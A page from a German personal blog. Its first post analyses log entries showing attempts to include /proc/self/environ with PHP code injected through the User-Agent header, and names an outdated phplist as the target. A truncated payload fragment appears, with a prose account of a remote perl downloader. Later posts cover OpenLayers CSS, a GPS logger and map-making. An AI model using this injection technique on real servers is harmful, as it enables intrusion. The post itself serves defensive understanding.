Monday, 5. July 2010get /proc/self/environIn letzter Zeit hab ich hier massig abgelehnte Seitenaufrufe der Art
die mich ein bisschen verwundert haben. Irgendwie konnte ich mir gar nicht vorstellen, warum jemand /proc/self/environ ansehen oder in php einbinden möchte. /etc/passwd wäre mir klar gewesen, aber das environment? Das sieht ja in der Regel so aus:
Also nichts besonderes, ein paar interne Servervariablen und ein paar Infos über den Client. Aber das Serverzeug ist nicht interessant, und über den Client weiss ich als sein Besitzer mehr als irgendein angesurfter Webserver. Dabei scheint der Angriff ein alter Hut zu sein und irgendwie finde ich die Idee pfiffig: Als Einbrecher hat man ja immer das Problem, dass man sein Werkzeug irgendwie auf dem Server deponieren muss, wenn man nicht schon vorher in der Lage ist, dort richtige Befehle auszuführen. Das kann man machen, indem man irgendeine Datei remote einbindet oder indem man eine Datei dort deponiert (ein Profilbild in einem Forum, das in Wirklichkeit ein Script ist oder so). Scheiden diese Möglichkeiten aus, steht man dumm da. Wenn man nun einen Server findet, der nur lokale Dateien in sein php einbinden möchte, aber dort nicht allzu kritisch ist, was genau er ausführt, bietet "environ" ideale Möglichkeiten: Man kann dort zwar nicht viel ändern, aber der HTTP_USER_AGENT (eigentlich steht da drin, ob ein Besucher den Internet Explorer, Firefox, Opera... nimmt) wird vom Browser übernommen und was php in einer lokalen Datei findet, wird brav ausgeführt. In meinem Fall sah der USER_AGENT so aus:
<?system(' und mein Server hätte sich zu 96.9.xxx.xxx in den USA verbunden, dort ein perl-script mit dem irreführenden Namen cb.jpg runtergeladen, dieses Script ausgeführt und damit einem Menschen in Rumänien einen Textbrowser auf meinem Server eröffnet, der ihn eine Uni in Italien ansurfen lässt... was auch immer der dort dann will. Nach diesen Zeilen kommen noch 10 weitere Server, man setzt wohl auf Internationalität und Redundanz in diesem Geschäft. Die ausprobierte Lücke in diesem Fall wäre übrigens eine veraltete Version von phplist gewesen, die anscheinend ihre Config aus einem eingebundenen Script holt, den Namen dieses Scripts per Variable abgelegt hat und sich diese Variable auch von aussen unterjubeln liess. Ich hab allerdings noch massig andere Einträge dieser Art, die vermutlich die ganze Bandbreite verwundbarer php-Anwendungen abdecken. Wednesday, 23. June 2010Transparente Popups in OpenlayersIch hab mal OpenLayers upgedatet. Inzwischen ist 2.9.1 draussen und ich lag immer noch über 2 Zehntel hinten. Ab und zu soll man ja auch probieren, liebgewonnene traditionelle Krücken über Bord zu werfen. Also schau ich mal, obs mit dem IE8 klappt und ob ich den IE7-Kompatibilitätsmodus endlich verlassen kann. Es klappt, zumindest war ausser leichten Geschmacksabweichungen kein grober Fehler mehr zu finden, nur die Popups hatten eine merkwürdig durchsichtige Schrift, manche auch transparente Bilder:
Das sah zwar ganz nett aus mit der durchscheinenden Sahara hinter dem Text und dem blauen Mittelmeer unter dem [X], war aber bei manchen Hintergrundkarten nur schwer lesbar. Dagegen hilft dieser .olPopup * { der anscheinend allen Browsern beibringt, das Popup nicht transparent darzustellen (-ms-filter für IE8, filter für IE7, -khtml für ältere Safaris, -moz für alte Firefox 2 und das letzte für alle neueren Browser). An welcher Stelle in OpenLayers allerdings gefordert wird, dass das Popup durchsichtig sein soll, bleibt mir völlig unklar, andere Browser machens auch ohne diesen CSS-Eintrag korrekt. Die Reihenfolge ist angeblich wichtig, weil wenn "-ms-filter" nach "filter" erscheint, gehts sowohl mit IE7 als auch IE8, aber nicht mit einem IE8 im "IE7-Kompatibilitätsmodus"... Nachtrag: "filter: alpha(opacity=100);" kommt wieder raus, weil das bringt den Internet Explorer 6 dazu, ganz durchsichtige Popups zu erzeugen. Friday, 5. June 2009Neues Spielzeug: Blumax GPS-4043Ich hab mir vor 2 Wochen ein neues Spielzeug zugelegt, einen GPS-Logger. Ich hab bisher immer mit dem alten Garmin GPS V aufgezeichnet, aber das Ding ist viel zu gross für die Hosentasche und ausserdem braucht das so viel Strom. Man hätte dafür natürlich auch ein vollwertiges Navi dabei (für das es allerdings keine Karten mehr gibt), aber das braucht man ja nicht. Und weil ich damit soviel rumgebastelt hab, gibts hier mal ein bisschen Das Ding
Ein Test im Auto zeigt, dass der Logger zumindest recht sicher auf der Strasse bleibt, es gibt keine grossen Abweichungen oder Ausreisser (Plazierung auf dem Armaturenbrett, was allerdings egal ist, das Auto hatte kein Dach). Der Vergleich mit dem Garmin lässt dieses aber auch nicht schlechter aussehen. Dort wo gemessen wird, stimmen die Werte überein, nur dass das Blumax öfter loggen kann und deshalb die Kurven ausfährt, die sein Kollege schneidet. Ausserdem lässt sich das schlecht vergleichen, das Garmin ist ein paar Jahre älter, hat dafür aber das 10-fache gekostet und hat eine richtige grosse Antenne. Als Fussgänger haben wirs natürlich auch getestet. Das Ergebnis hängt stark von der Aufbewahrung ab. In der offen Hand getragen ist es natürlich gut. In der Jackentasche, ca 5cm weg von der satellitendichten menschlichen Abschirmung passen die Werte auch noch auf ein paar Meter, in der Hosentasche war das Ergebnis eher schlecht. Da weichen der Hin- und Rückweg um 15 Meter voneinander ab. Das könnte aber auch an der Lage liegen, ich werds mal waagerecht statt senkrecht in die Hosentasche stecken, vielleicht bevorzugt die Antenne eine liegende Haltung. Den Langzeittest fand ich interessanter. Sowas konnte ich ja bisher nicht machen, weil ich mir die Batterien nicht leisten wollte und ausserdem zum Wechseln das Gerät bewegen müsste. Das neue Gerät konnte ich einmal auf der Fensterbank (Ostblick, wenig Sicht auf den Himmel, vielleicht 10% oder so) und einmal auf der Terrasse (Südseite, 50% Himmel) ausprobieren. Nach 22 Stunden loggen im 3-Sekunden-Takt hat er im Zimmer und nach 24 Stunden auf der Terrasse schlappgemacht. Das Ergebnis überrascht ein wenig. Ich hätte ja erwartet, dass der begrenzte Blick zum Himmel schlechtere Ergebnisse bringen müsste, aber die Qualität war etwa gleich: 70% der Messwerte liegen in einem Kreis mit Radius 5m um den Mittelwert (den ich mal als "richtige" Koordinate definiert hab), 90% liegen innerhalb von 10 Metern. Bei der Höhenmessung liegen knapp die Hälfte bei 5m, 80% bei 10m und 90% bei 15m. Im 3-Meter-Kreis siegt sogar die Höhenmessung über die Messung in der Ebene. Das ist komisch, weil GPS ja die Höhe immer schlechter misst als die Koordinate. Ich vermute, es liegt daran, dass bei der Treffsicherheit in der Ebene zwei Werte stimmen müssen und der zeitliche Verlauf zeigt, dass entweder der Breitengrad um ein paar Meter falsch liegt oder der Längengrad. Nur in seltenen Glücksfällen passen beide. Die Höhe gibt das Gerät übrigens ohne Geoid-Korrektur aus. Die kennt es zwar, gibt sie auch in den NMEA-Daten aus, schreibt sie aber nicht ins Log. Das ist nicht schlimm, muss halt dann die Anwendung danach die paar Meter abziehen, nur wissen muss mans. Beim zeitlichen Verlauf (auf der Terrasse gemessen) sieht man, dass die Höhe doch ungenauer gemessen wird und auch mal eine halbe Stunde bei konstant über 10 Metern Abweichung bleibt. Hier erkennt man auch schön, wie lange man eigentlich bräuchte, um eine Koordinate durch Mitteln der gesammelten Werte zu bestimmen. Ein paar Stunden müssten es schon sein, alle drei Linien liegen längere Zeit ziemlich daneben. Und zum Schluss noch eine wichtige Notiz für die Zukunft: Wenn man in den Logs aus Datensparsamkeit die Option "RCR" ausschaltet, die einem den Grund für einen Trackpunkt sagt, kann man auch keine Waypoints mit dem Knopf an der Oberseite anlegen. Weil wenn das Gerät sich nicht merkt, dass der Knopf die Ursache dieses Trackpoints ist, kann es Waypoints und Trackpoints nicht unterscheiden und behandelt beide gleich. Die Waypoints sind dann zwar da, aber als Trackpoint getarnt und schwer zu erkennen. Mit RCR erhält man pro Punkt die zusätzlichen Daten "type=TIME", was heisst, dass dieser Punkt wegen eines Zeitlimits erzeugt wurde oder "type=BUTTON", was auf einen Knopfdruck hinweist. Ob schon das Gerät oder erst mtkbabel aus den BUTTON-Einträgen dann Waypoints erzeugt, weiss ich nicht, aber einer von beiden macht es. (Karte von openstreetmap unter CC-BY-SA-Lizenz)
Tuesday, 19. May 2009Malen nach ZahlenIch hab mir gedacht, wenn ich schon die shapefiles der neuen bunten Karten und Listen mit Ländercodes und eingedeutschten Ländernamen für den Geocounter rumliegen hab und auch schon für andere Dinge, wie z.B. die Verteilung der Tor-Server in der Welt verwende, kann ich auch gleich was nützliches draus bauen. Ich hab natürlich wie immer den Aufwand völlig unterschätzt, der zwischen "Ich hack ein paar Werte in eine Datenbank, fummel an einem Script rum und erzeuge eine Grafik" und "Ich lass fremde Leute ihre Werte und Lieblingsfarben in ein Formular eingeben und ihre eigenen Karten erstellen" liegt. Aber dank fleissiger Unterstützung meiner usability-consultants ist was halbwegs nutzbares rausgekommen. Falls also jemand Zahlen hat und thematische Landkarten braucht, um zum Beispiel die Ergebnisse des Armutsatlas 2009 des Paritätischen Wohlfahrtsverbands schön zu visualisieren, oder auch die Osterweiterung der NATO von 1949 bis 2009, kann sich jetzt seine Karten selber basteln. Das ganze funktioniert nur mit statistischen Werten, die man nach Staaten sortiert vorliegen hat, für andere geographische Einteilungen (Klima-, Vegetationszonen) fehlen mir einfach die Daten. Für Deutschland, Österreich und die Schweiz gibts auch Karten bis zur nächsten Verwaltungsebene der Bundesländer und Kantone. Zu erreichen ist die Kartenwerkstatt unter http://geo.dianacht.de/makemap/, man muss ein bisschen Geduld mitbringen, die Datenbank hier ist nicht so schnell. Als Exportformat stehen PNG für Bitmaps und SVG als Vektorgrafik zur Verfügung. Ich würde dafür allerdings die Beschriftung der Karte ausschalten. So richtig schön werden nämlich die automatischen Beschriftungen nicht plaziert, der anspruchsvolle Benutzer ist mit einer leeren Grafik zur nachträglichen Bearbeitung sicher besser bedient. Nachtrag: Ich hab mir neue Shapefiles besorgt. Jetzt langt die Namensnennung.
Geschrieben von Max
in Bastelspass, Geocounter, Landkarten
um
19:48
| Kommentare (0)
| Trackbacks (2)
Tuesday, 5. May 2009AbwärtskompatibelErst hatte ich ja ein schlechtes Gewissen, weil unsere Urlaubskarte mit dem tollen neuen Internet Explorer 8 nicht funktioniert. Dabei ist doch der das Ende aller Extrawürste für eigenbrödlerische Browser, nie wieder wird man vom Standard abweichen müssen. Aber jetzt hab ich doch ein kurzes
eingebaut und sag dem IE8, dass er sich bitte wie sein Ahne verhalten soll, samt dessen Eigenbrödelei, weil dafür gibts ja schon Flickwerk an allen Ecken und Enden einer Homepage. Ich hätte natürlich auch auf ein Update von Openlayers warten können, oder selber anfangen können zu basteln. Aber die Openlayer-Leute ziehen da wohl nicht so recht mit und selber basteln ist so mühsam, bis man da wieder alles mit jedem Browser getestet hat... Wirklich beruhigt hat mich dann, als ich in einem alten Posting den Hinweis auf den Seitenquelltext von Microsofts "Live Search mit der Virtual Earth Technologie" gefunden hab. Auch die lösen ihre Probleme auf diese Weise und schalten den IE8 in die IE7-Emulation. Und wenn nichtmal die Webseitenbauer von Microsoft eine zu allen Drecksbrowsern aus dem eigenen Hause kompatible Seite hinbekommen, kann man das von mir echt nicht verlangen.
« vorherige Seite
(Seite 2 von 9, insgesamt 44 Einträge)
» nächste Seite
|
KategorienVerwaltung des Blogs |